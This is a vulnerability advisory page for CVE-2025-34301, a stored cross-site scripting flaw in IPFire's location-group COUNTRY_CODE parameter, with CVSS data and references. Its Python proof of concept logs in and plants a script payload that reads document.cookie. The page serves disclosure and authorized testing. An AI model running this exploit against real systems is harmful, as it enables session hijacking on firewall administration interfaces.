CVE-2025-34301

Description

IPFire versions prior to 2.29 (Core Update 198) contain a stored cross-site scripting (XSS) vulnerability that allows an authenticated attacker to inject arbitrary JavaScript code into the COUNTRY_CODE parameter when creating a location group. When a user adds a new location group, the application issues an HTTP POST request with the ACTION parameter set to savelocationgrp, and the value of the COUNTRY_CODE parameter determines the flag displayed for that group. The value of this parameter is stored and later rendered in the web interface without proper sanitization or encoding, allowing malicious scripts to be executed in the context of other users viewing the affected page.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ipfire:ipfire:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ipfire:ipfire:2.29:core_update183:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ipfire:ipfire:2.29:core_update184:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ipfire:ipfire:2.29:core_update185:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ipfire:ipfire:2.29:core_update186:*:*:*:*:*:* - VULNERABLE

IPFire < 2.29 (Core Update 198)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-34301 PoC - IPFire Stored XSS via Location Group Creation
import requests
import sys
from urllib.parse import quote

# Configuration
target_url = "http://TARGET_IP:444/"
username = "attacker"
password = "password"

# Login to IPFire
session = requests.Session()
login_data = {
    "username": username,
    "password": password
}

try:
    # Step 1: Authenticate
    response = session.post(f"{target_url}cgi-bin/login.cgi", data=login_data, timeout=10)
    
    # Step 2: Create location group with XSS payload in COUNTRY_CODE
    xss_payload = '<script>alert(document.cookie)</script>'
    exploit_data = {
        "ACTION": "savelocationgrp",
        "COUNTRY_CODE": xss_payload,
        "LOCATION_GRP_NAME": "TestGroup"
    }
    
    response = session.post(f"{target_url}cgi-bin/locationgroups.cgi", data=exploit_data, timeout=10)
    
    print("[+] XSS payload sent successfully!")
    print(f"[+] Payload: {quote(xss_payload)}")
    print("[+] Any user viewing the location group page will trigger the XSS")
    
    # Step 3: Verify the stored XSS
    verify_response = session.get(f"{target_url}cgi-bin/locationgroups.cgi", timeout=10)
    if xss_payload in verify_response.text:
        print("[+] XSS payload successfully stored and reflected in response")
        
except requests.exceptions.RequestException as e:
    print(f"[-] Error: {e}")
    sys.exit(1)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-34301
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-34301
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-34301/
[4] VulDB https://vuldb.com/cve/CVE-2025-34301
[5] https://bugzilla.ipfire.org/show_bug.cgi?id=13876
[6] https://www.ipfire.org/blog/ipfire-2-29-core-update-198-released
[7] https://www.vulncheck.com/advisories/ipfire-stored-xss-via-location-group-creation

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